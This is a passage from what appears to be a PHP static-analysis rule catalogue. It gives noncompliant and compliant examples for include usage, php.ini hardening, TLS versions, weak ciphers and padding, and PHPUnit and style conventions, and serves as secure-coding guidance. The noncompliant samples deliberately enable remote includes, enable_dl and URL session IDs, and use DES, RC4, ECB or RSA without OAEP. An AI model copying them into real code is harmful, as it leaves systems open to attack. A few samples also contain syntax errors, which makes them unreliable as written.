require 'more_code.php';  // Noncompliant; not a "_once" usage

Compliant Solution

require_once 'code.php';
if (is_member($user)) {
  include_once $user.'_history.php';
}
require_once 'more_code.php';
php:S3334

allow_url_fopen and allow_url_include allow code to be read into a script from URL's. The ability to suck in executable code from outside your site, coupled with imperfect input cleansing could lay your site bare to attackers. Even if your input filtering is perfect today, are you prepared to bet your site that it will always be perfect in the future?

This rule raises an issue when either property is explicitly enabled in php.ini and when allow_url_fopen, which defaults to enabled, is not explicitly disabled.

Noncompliant Code Example

; php.ini  Noncompliant; allow_url_fopen not explicitly disabled
allow_url_include=1  ; Noncompliant

Compliant Solution

; php.ini
allow_url_fopen=0
allow_url_include=0

See

php:S4423

Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure.

This rule raises an issue when an SSL/TLS context is created with an insecure protocol version (ie: a protocol different from "TLSv1.2", "TLSv1.3", "DTLSv1.2" or "DTLSv1.3").

Noncompliant Code Example

$ctx = stream_context_create([
  'ssl' => [
    'crypto_method' =>
      STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT // Noncompliant
  ],
]);

Compliant Solution

$ctx = stream_context_create([
    'ssl' => [
        'crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
    ],
]);

See

php:S3337

enable_dl is on by default and allows open_basedir restrictions, which limit the files a script can access, to be ignored. For that reason, it's a dangerous option and should be explicitly turned off.

This rule raises an issue when enable_dl is not explicitly set to 0 in php.ini.

Noncompliant Code Example

; php.ini
enable_dl=1  ; Noncompliant

Compliant Solution

; php.ini
enable_dl=0

See

php:S2005

There is no reason to concatenate literal strings. Doing so is an exercise in reducing code readability. Instead, the strings should be combined.

Noncompliant Code Example

$msg = "Hello " . "${name}" . "!";  // Noncompliant

Compliant Solution

$msg = "Hello ${name}!";
php:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

Builtin functions

function myEncrypt($cipher, $key, $data, $mode, $iv, $options, $padding, $infile, $outfile, $recipcerts, $headers, $nonce, $ad, $pub_key_ids, $env_keys)
{
    mcrypt_ecb ($cipher, $key, $data, $mode); // Sensitive
    mcrypt_cfb($cipher, $key, $data, $mode, $iv); // Sensitive
    mcrypt_cbc($cipher, $key, $data, $mode, $iv); // Sensitive
    mcrypt_encrypt($cipher, $key, $data, $mode); // Sensitive

    openssl_encrypt($data, $cipher, $key, $options, $iv); // Sensitive
    openssl_public_encrypt($data, $crypted, $key, $padding); // Sensitive
    openssl_pkcs7_encrypt($infile, $outfile, $recipcerts, $headers); // Sensitive
    openssl_seal($data, $sealed_data, $env_keys, $pub_key_ids); // Sensitive

    sodium_crypto_aead_aes256gcm_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_aead_chacha20poly1305_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_aead_chacha20poly1305_ietf_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_aead_xchacha20poly1305_ietf_encrypt ($data, $ad, $nonce, $key); // Sensitive
    sodium_crypto_box_seal ($data, $key); // Sensitive
    sodium_crypto_box ($data, $nonce, $key); // Sensitive
    sodium_crypto_secretbox ($data, $nonce, $key); // Sensitive
    sodium_crypto_stream_xor ($data, $nonce, $key); // Sensitive
}

CakePHP

use Cake\Utility\Security;

function myCakeEncrypt($key, $data, $engine)
{
    Security::encrypt($data, $key); // Sensitive

    // Do not use custom made engines and remember that Mcrypt is deprecated.
    Security::engine($engine); // Sensitive. Setting the encryption engine.
}

CodeIgniter

class EncryptionController extends CI_Controller
{
    public function __construct()
    {
        parent::__construct();
        $this->load->library('encryption');
    }

    public function index()
    {
        $this->encryption->create_key(16); // Sensitive. Review the key length.
        $this->encryption->initialize( // Sensitive.
            array(
                'cipher' => 'aes-256',
                'mode' => 'ctr',
                'key' => 'the key',
            )
        );
        $this->encryption->encrypt("mysecretdata"); // Sensitive.
    }
}

CraftCMS version 3

use Craft;

// This is similar to Yii as it used by CraftCMS
function craftEncrypt($data, $key, $password) {
    Craft::$app->security->encryptByKey($data, $key); // Sensitive
    Craft::$app->getSecurity()->encryptByKey($data, $key); // Sensitive
    Craft::$app->security->encryptByPassword($data, $password); // Sensitive
    Craft::$app->getSecurity()->encryptByPassword($data, $password); // Sensitive
}

Drupal 7 - Encrypt module

function drupalEncrypt() {
    $encrypted_text = encrypt('some string to encrypt'); // Sensitive
}

Joomla

use Joomla\Crypt\CipherInterface;

abstract class MyCipher implements CipherInterface // Sensitive. Implementing custom cipher class
{}

function joomlaEncrypt() {
    new Joomla\Crypt\Cipher_Sodium(); // Sensitive
    new Joomla\Crypt\Cipher_Simple(); // Sensitive
    new Joomla\Crypt\Cipher_Rijndael256(); // Sensitive
    new Joomla\Crypt\Cipher_Crypto(); // Sensitive
    new Joomla\Crypt\Cipher_Blowfish(); // Sensitive
    new Joomla\Crypt\Cipher_3DES(); // Sensitive
}
}

Laravel

use Illuminate\Support\Facades\Crypt;

function myLaravelEncrypt($data)
{
    Crypt::encryptString($data); // Sensitive
    Crypt::encrypt($data); // Sensitive
    // encrypt using the Laravel "encrypt" helper
    encrypt($data); // Sensitive
}

PHP-Encryption library

use Defuse\Crypto\Crypto;
use Defuse\Crypto\File;

function mypPhpEncryption($data, $key, $password, $inputFilename, $outputFilename, $inputHandle, $outputHandle) {
    Crypto::encrypt($data, $key); // Sensitive
    Crypto::encryptWithPassword($data, $password); // Sensitive
    File::encryptFile($inputFilename, $outputFilename, $key); // Sensitive
    File::encryptFileWithPassword($inputFilename, $outputFilename, $password); // Sensitive
    File::encryptResource($inputHandle, $outputHandle, $key); // Sensitive
    File::encryptResourceWithPassword($inputHandle, $outputHandle, $password); // Sensitive
}

PhpSecLib

function myphpseclib($mode) {
    new phpseclib\Crypt\RSA(); // Sensitive. Note: RSA can also be used for signing data.
    new phpseclib\Crypt\AES(); // Sensitive
    new phpseclib\Crypt\Rijndael(); // Sensitive
    new phpseclib\Crypt\Twofish(); // Sensitive
    new phpseclib\Crypt\Blowfish(); // Sensitive
    new phpseclib\Crypt\RC4(); // Sensitive
    new phpseclib\Crypt\RC2(); // Sensitive
    new phpseclib\Crypt\TripleDES(); // Sensitive
    new phpseclib\Crypt\DES(); // Sensitive

    new phpseclib\Crypt\AES($mode); // Sensitive
    new phpseclib\Crypt\Rijndael($mode); // Sensitive
    new phpseclib\Crypt\TripleDES($mode); // Sensitive
    new phpseclib\Crypt\DES($mode); // Sensitive
}

Sodium Compat library

function mySodiumCompatEncrypt($data, $ad, $nonce, $key) {
    ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($data, $ad, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt($data, $ad, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($data, $ad, $nonce, $key); // Sensitive

    ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($data, $ad, $nonce, $key); // Sensitive

    ParagonIE_Sodium_Compat::crypto_box($data, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_secretbox($data, $nonce, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_box_seal($data, $key); // Sensitive
    ParagonIE_Sodium_Compat::crypto_secretbox_xchacha20poly1305($data, $nonce, $key); // Sensitive
}

Yii version 2

use Yii;

// Similar to CraftCMS as it uses Yii
function YiiEncrypt($data, $key, $password) {
    Yii::$app->security->encryptByKey($data, $key); // Sensitive
    Yii::$app->getSecurity()->encryptByKey($data, $key); // Sensitive
    Yii::$app->security->encryptByPassword($data, $password); // Sensitive
    Yii::$app->getSecurity()->encryptByPassword($data, $password); // Sensitive
}

Zend

use Zend\Crypt\FileCipher;
use Zend\Crypt\PublicKey\DiffieHellman;
use Zend\Crypt\PublicKey\Rsa;
use Zend\Crypt\Hybrid;
use Zend\Crypt\BlockCipher;

function myZendEncrypt($key, $data, $prime, $options, $generator, $lib)
{
    new FileCipher; // Sensitive. This is used to encrypt files

    new DiffieHellman($prime, $generator, $key); // Sensitive

    $rsa = Rsa::factory([ // Sensitive
        'public_key'    => 'public_key.pub',
        'private_key'   => 'private_key.pem',
        'pass_phrase'   => 'mypassphrase',
        'binary_output' => false,
    ]);
    $rsa->encrypt($data); // No issue raised here. The configuration of the Rsa object is the line to review.

    $hybrid = new Hybrid(); // Sensitive

    BlockCipher::factory($lib, $options); // Sensitive
}

See

Deprecated

This rule is deprecated; use S4426, S5542, S5547 instead.

php:S3699

If a function does not return anything, it makes no sense to use its output. Specifically, passing it to another function, or assigning its "result" to a variable is probably a bug because such functions return nothing, which is probably not what was intended.

Noncompliant Code Example

$result = closedir($dir_handle); // Noncompliant, "closedir" does not return anything.

Compliant Solution

closedir($dir_handle);
php:S3336

PHP's session.use_trans_sid automatically appends the user's session id to urls when cookies are disabled. On the face of it, this seems like a nice way to let uncookie-able users use your site anyway. In reality, it makes those users vulnerable to having their sessions hijacked by anyone who might:

  • see the URL over the user's shoulder
  • be sent the URL by the user
  • retrieve the URL from browser history
  • ...

For that reason, it's better to practice a little "tough love" with your users and force them to turn on cookies.

Since session.use_trans_sid is off by default, this rule raises an issue when it is explicitly enabled.

Noncompliant Code Example

; php.ini
session.use_trans_sid=1  ; Noncompliant

See

php:S3360

By default, PHPUnit CLI only executes test classes with names that end in "Test". Name your class "TestClassX.php", for instance, and it will be skipped.

This rule raises an issue for each test class with a name not ending in "Test".

Noncompliant Code Example

class TestClassX extends PHPUnit\Framework\TestCase {  // Noncompliant

  public void testDoTheThing() {
    //...

Compliant Solution

class ClassXTest extends PHPUnit\Framework\TestCase {

  public void testDoTheThing() {
    //...
php:S836

In PHP it is not required to initialize variables before their usage. However, using uninitialized variables is considered bad practice and should be avoided because of the following reasons:

* The value and type of uninitialized variables depend on the context of their first usage. It is better to be explicit about those to avoid confusion.

* The interpreter raises a warning or a notice in many cases.

Noncompliant Code Example

<?php

function getText(array $lines): string {
    foreach ($lines as $line) {
        $text .= $line;
    }

    return $text;
}

Compliant Solution

<?php

function getText(array $lines): string {
    $text = "";

    foreach ($lines as $line) {
        $text .= $line;
    }

    return $text;
}

See

php:S3801

Because it is dynamically typed, PHP does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain.

In particular, it is consequently also possible to mix empty return statements (implicitly returning null) with some returning an expression. This rule verifies that all the return statements from a function are consistent.

Noncompliant Code Example

function foo($a) { // Noncompliant, function will return "true" or null
  if ($a == 1) {
    return true;
  }
  return;
}

Compliant Solution

function foo($a) {
  if ($a == 1) {
    return true;
  }
  return false;
}

or

function foo($a) {
  if ($a == 1) {
    return true;
  }
  return null;
}
php:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if ($b == 0) {  // Noncompliant
  doOneMoreThing();
} else {
  doOneMoreThing();
}

$b = $a > 12 ? 4 : 4;  // Noncompliant

switch ($i) {  // Noncompliant
  case 1:
    doSomething();
    break;
  case 2:
    doSomething();
    break;
  case 3:
    doSomething();
    break;
  default:
    doSomething();
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if($b == 0) {    //no issue, this could have been done on purpose to make the code more readable
  doSomething();
} elseif($b == 1) {
  doSomething();
}
php:S5785

Testing equality or nullness with PHPUnit's assertTrue() or assertFalse() should be simplified to the corresponding dedicated assertion.

Noncompliant Code Example

assertTrue($a === $b);
assertTrue($a == $b);
assertTrue($a === null);
assertTrue($a !== null);
assertTrue($a !== $b);
assertTrue($a != $b);
assertFalse($a === $b);
assertFalse($a == $b);

Compliant Solution

assertEquals($a, $b);
assertSame($a, $b);
assertNull($a);
assertNotNull($a);
assertNotEquals($a, $b);
assertNotSame($a, $b);
assertNotEquals($a, $b);
assertNotSame($a, $b);
php:S1185

Overriding a method just to call the same method from the super class without performing any other actions is useless and misleading. The only time this is justified is in final overriding methods, where the effect is to lock in the parent class behavior. This rule ignores such overrides of equals, hashCode and toString.

Noncompliant Code Example

class Child extends Parent {

  public function func($n,$m) {
    parent::func($n$m);  // Noncompliant
  }
}

class Parent {
  public function func($n, $m) {
    // do something
  }
}

Compliant Solution

class Child extends Parent {

  public function func($n,$m) {
    parent::func($n$m);
    // do additional things...
  }
}

class Parent {
  public function func($n, $m) {
    // do something
  }
}

or

class Child extends Parent {
  // function eliminated
}

class Parent {
  public function func($n, $m) {
    // do something
  }
}
php:S1186

There are several reasons for a method not to have a method body:

* It is an unintentional omission and should be fixed to prevent unexpected behavior in production.

* It is not yet, or never will be, supported. In this case an UnsupportedOperationException should be thrown.

* The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

public function doSomething() {
}

public function doSomethingElse() {
}

Compliant Solution

public function doSomething() {
  // Do nothing because of X and Y.
}

public function doSomethingElse() {
  throw new UnsupportedOperationException();
}

Exceptions

Empty methods in abstract classes

abstract class Animal {
  public function speak() {}  // default implementation ignored
}
php:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (condition1) {
  if (condition2) {
    ...
  }
}

Compliant Solution

if (condition1 && condition2) {
  ...
}
php:S2277

Without OAEP in RSA encryption, it takes less work for an attacker to decrypt the data or infer patterns from the ciphertext. This rule logs an issue when openssl_public_encrypt is used with one the following padding constants: OPENSSL_NO_PADDING or OPENSSL_PKCS1_PADDING or OPENSSL_SSLV23_PADDING.

Noncompliant Code Example

function encrypt($data, $key) {
  $crypted='';
  openssl_public_encrypt($data, $crypted, $key, OPENSSL_NO_PADDING); // Noncompliant
  return $crypted;
}

Compliant Solution

function encrypt($data, $key) {
  $crypted='';
  openssl_public_encrypt($data, $crypted, $key, OPENSSL_PKCS1_OAEP_PADDING);
  return $crypted;
}

See

Deprecated

This rule is deprecated; use S5542 instead.

php:S5783

When verifying that code raises an exception, a good practice is to avoid having multiple method calls inside the tested code, to be explicit about what is exactly tested.

When two of the methods can raise the same exception, not respecting this good practice is a bug, since it is not possible to know what is really tested.

Noncompliant Code Example

public function testSomething()
{
  try {
    g(y(1)); // Noncompliant
    $this->fail('RuntimeException is not thrown');
  } catch (RuntimeException $e) {}
}

Compliant Solution

public function testSomething()
{
  $y = y(1);
  try {
    g($y);
    $this->fail('RuntimeException is not thrown by g()');
  } catch (RuntimeException $e) {}
}
php:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode that works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Example

$c01 = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality
$c02 = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality
$c03 = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality
$c04 = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality
$c05 = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality
$c06 = mcrypt_encrypt(MCRYPT_RC2, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality
$c07 = mcrypt_encrypt(MCRYPT_RC4, $key, $plaintext, "ecb"); // Noncompliant: ECB doesn't provide serious message confidentiality

function encrypt1($data, $key) {
 $crypted='';
  openssl_public_encrypt($data, $crypted, $key, OPENSSL_NO_PADDING); // Noncompliant: RSA without OAEP padding scheme is not recommanded
  return $crypted;
}

$c1 = openssl_encrypt($plaintext, "BF-ECB", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality
$c2 = openssl_encrypt($plaintext, "RC2-ECB", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality
$c3 = openssl_encrypt($plaintext, "bf-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality
$c4= openssl_encrypt($plaintext, "des-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality
$c5 = openssl_encrypt($plaintext, "rc2-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: ECB doesn't provide serious message confidentiality

Compliant Solution

$c6 = openssl_encrypt($plaintext, "aes-256-gcm", $key, $options=OPENSSL_RAW_DATA, $iv); // Compliant


function encrypt2($data, $key) {
  $crypted='';
  openssl_public_encrypt($data, $crypted, $key, OPENSSL_PKCS1_OAEP_PADDING);  // Compliant
  return $crypted;
}

See

php:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3

if ((($condition1 && $condition2) || ($condition3 && $condition4)) && $condition5) { ... }

Compliant Solution

if ( (my_first_condition() || my_second_condition()) && my_last_condition()) { ... }
php:S5547

Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example.

A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community.

More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits.

Noncompliant Code Example

<?php
// mcrypt_encrypt is deprecated since PHP 7.1
$c1 = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, $mode);  // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search
$c2 = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, $mode); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search
$c3 = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, $mode) // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
$c4 = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, $mode);  // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
$c5 = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $plaintext, $mode);  // Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks
$c6 = mcrypt_encrypt(MCRYPT_RC2, $key, $plaintext, $mode);  // Noncompliant: RC2 is vulnerable to a related-key attack
$c7 = mcrypt_encrypt(MCRYPT_RC4, $key, $plaintext, $mode);  // Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)

$c8 = openssl_encrypt($plaintext, "bf-ecb", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks
$c9 = openssl_encrypt($plaintext, "des-ede3", $key, $options=OPENSSL_RAW_DATA, $iv);  // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
$c10 = openssl_encrypt($plaintext, "des-ofb", $key, $options=OPENSSL_RAW_DATA, $iv);  // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search
$c11 = openssl_encrypt($plaintext, "rc2-cbc", $key, $options=OPENSSL_RAW_DATA, $iv); // Noncompliant: RC2 is vulnerable to a related-key attack
$c12 = openssl_encrypt($plaintext, "rc4", $key, $options=OPENSSL_RAW_DATA, $iv);  // Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)
?>

Compliant Solution

<?php
$c1= openssl_encrypt($plaintext, "aes-256-gcm", $key, $options=OPENSSL_RAW_DATA, $iv); // Compliant
?>

See

php:S2037

References in a class to static class members (fields or methods) can be made using either self::$var or static::$var (introduced in 5.3). The difference between the two is one of scope. Confusingly, in subclasses, the use of self:: references the original definition of the member, i.e. the superclass version, rather than any override at the subclass level. static::, on the other hand, references the class that was called at runtime.

Noncompliant Code Example

<?php

class Toy {

    public static function status() {
        self::getStatus();  // Noncompliant; will always print "Sticks are fun!" even when called from a subclass which overrides this method;
    }

    protected static function getStatus() {
        echo "Sticks are fun!";
    }
}

class Ball extends Toy {

    protected static function getStatus() {  // Doesn't actually get called
        echo "Balls are fun!";
    }
}

$myBall = new Ball();
$myBall::status();  // Prints "Sticks are fun!"

Compliant Solution

<?php

class Toy {

    public static function status() {
        static::getStatus();  // Compliant
    }

    protected static function getStatus() {
        echo "Sticks are fun!";
    }
}

class Ball extends Toy {

    protected static function getStatus() {
        echo "Balls are fun!";
    }
}

$myBall = new Ball();
$myBall::status();  // Prints "Balls are fun!"

Exceptions

No issue is raised when self is used on a constant field, a private field or a private method.

class A
{
    private static $somevar = "hello";
    const CONSTANT = 42;

    private static function foo()
    {
        $var = self::$somevar . self::CONSTANT;  // Should be OK
        self::foo();                               // Should be OK
    }
}
php:S1068

If a private field is declared but not used in the program, it can be considered dead code and should therefore be removed. This will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

class MyClass {
  private $foo = 4;                       //foo is unused

  public function compute($a) {
    return $a * 4;
  }
}

Compliant Solution

class MyClass {

  public function compute($a) {
    return $a * 4;
  }
}
php:S2278

According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:

Adopted in 1977 for federal agencies to use in protecting sensitive, unclassified information, the DES is being withdrawn because it no longer provides the security that is needed to protect federal government information.

Federal agencies are encouraged to use the Advanced Encryption Standard, a faster and stronger algorithm approved as FIPS 197 in 2001.

For similar reasons, RC2 should also be avoided.

Noncompliant Code Example

<?php
  $ciphertext = mcrypt_encrypt(MCRYPT_DES, $key, $plaintext, $mode); // Noncompliant
  // ...
  $ciphertext = mcrypt_encrypt(MCRYPT_DES_COMPAT, $key, $plaintext, $mode); // Noncompliant
  // ...
  $ciphertext = mcrypt_encrypt(MCRYPT_TRIPLEDES, $key, $plaintext, $mode); // Noncompliant
  // ...
  $ciphertext = mcrypt_encrypt(MCRYPT_3DES, $key, $plaintext, $mode); // Noncompliant

  $cipher = "des-ede3-cfb";  // Noncompliant
  $ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
?>

Compliant Solution

<?php
  $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv);
?>

See

Deprecated

This rule is deprecated; use S5547 instead.

php:S2036

Files that define symbols such as classes and variables may be included into many files. Simply performing that inclusion should have no effect on those files other than declaring new symbols. For instance, a file containing a class definition should not also contain side-effects such as print statements that will be evaluated automatically on inclusion. Logic should be segregated into symbol-only files and side-effect-only files. The type of operation which is not allowed in a symbol-definition file includes but is not limited to:

  • generating output
  • modifying ini settings
  • emitting errors or exceptions
  • modifying global or static variables
  • reading/writing files

Noncompliant Code Example

<?php

print "Include worked!";

class foo {
  // ...
}

Compliant Solution

<?php

class foo {

  public function log() {
    print "Include worked!";
  }

}

See

php:S1862

A switch and a chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

For a switch, if the first case ends with a break, the second case will never be executed, rendering it dead code. Worse there is the risk in this situation that future maintenance will be done on the dead case, rather than on the one that's actually used.

On the other hand, if the first case does not end with a break, both cases will be executed, but future maintainers may not notice that.

Noncompliant Code Example

if ($param == 1)
  openWindow();
else if ($param == 2)
  closeWindow();
else if ($param == 1)  // Noncompliant
  moveWindowToTheBackground();


switch($i) {
  case 1:
    //...
    break;
  case 3:
    //...
    break;
  case 1:  // Noncompliant
    //...
    break;
  default:
    // ...
    break;
}

Compliant Solution

if ($param == 1)
  openWindow();
else if ($param == 2)
  closeWindow();
else if ($param == 3)
  moveWindowToTheBackground();

switch($i) {
  case 1:
    //...
    break;
  case 3:
    //...
    break;
  default:
    // ...
    break;
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
php:S2830

Dependency injection is a software design pattern in which one or more dependencies (or services) are injected, or passed by reference, into a dependent object (or client) and are made part of the client's state. The pattern separates the creation of a client's dependencies from its own behavior, which allows program designs to be loosely coupled and to follow the dependency inversion and single responsibility principles.

Noncompliant Code Example

class SomeClass {

  public function __construct() {
    $this->object = new SomeOtherClass();  // Noncompliant
  }
}

Compliant Solution

class SomeClass {

  public function __construct(SomeOtherClass $object) {
    $this->object = $object;
  }
}
php:S2038

Shared coding conventions allow teams to collaborate effectively. Writing colors in upper case makes them stand out at such, thereby making the code easier to read.

This rule checks that hexadecimal color definitions are written in upper case.

Noncompliant Code Example

$white = '#ffffff';  // Noncompliant
$dkgray = '#006400';
$aqua = '#00ffff';  // Noncompliant

Compliant Solution

$white = '#FFFFFF';  // Compliant
$dkgray = '#006400';
$aqua = '#00FFFF';  // Compliant
php:S2260

When the PHP parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

php:S1172

Unused parameters are misleading. Whatever the value passed to such parameters is, the behavior will be the same.

Noncompliant Code Example

function doSomething($a, $b) { // "$a" is unused
  return compute($b);
}

Compliant Solution

function doSomething($b) {
  return compute($b);
}

Exceptions

Functions in classes that override a class or implement interfaces are ignored.

class C extends B {

  function doSomething($a, $b) {     // no issue reported on $b
    compute($a);
  }

}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
php:S2701

Instead of using boolean literals or null in an equality with assertSame() or assertEquals(), it is recommended to rely on the alternative functions assertTrue(), assertFalse(), assertNull(), and assertNotNull().

Noncompliant Code Example

assertEquals(true, $x); // Noncompliant {{Use assertTrue() instead.}}
assertNotEquals(false, $x); // Noncompliant {{Use assertTrue() instead.}}
assertSame(null, $x); // Noncompliant {{Use assertNull() instead.}}
assertNotSame(true, $x); // Noncompliant {{Use assertFalse() instead.}}

Compliant Solution

assertTrue($x); // Compliant
assertFalse($x); // Compliant
assertNull($x); // Compliant
assertNotNull($x); // Compliant
php:S1854

A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used.

Noncompliant Code Example

$i = $a + $b; // Noncompliant; calculation result not used before value is overwritten
$i = compute();

Compliant Solution

$i = $a + $b;
$i += compute();

Exceptions

This rule ignores initializations to -1, 0, 1, null, true, false, "", [] and array().

See

php:S5899

The PHPUnit test runner does execute public methods defined within test classes that have a name starting with "test" or the @test annotation. Methods that do not convey to this will not get executed.

This rule raises an issue on methods marked as test methods (by name or annotation) but do not have a public visibility. An issue is also raised on public methods that are not marked as tests, do contain assertions, and are not called from within another discoverable test method within the class. No issues are raised in abstract classes.

Noncompliant Code Example

class MyTest extends \PHPUnit\Framework\TestCase {
    private function testA() { // Noncompliant
        $this->assertTrue(getValue());
    }

    public function b() { // Noncompliant
        $this->assertTrue(getValue());
    }
}

Compliant Solution

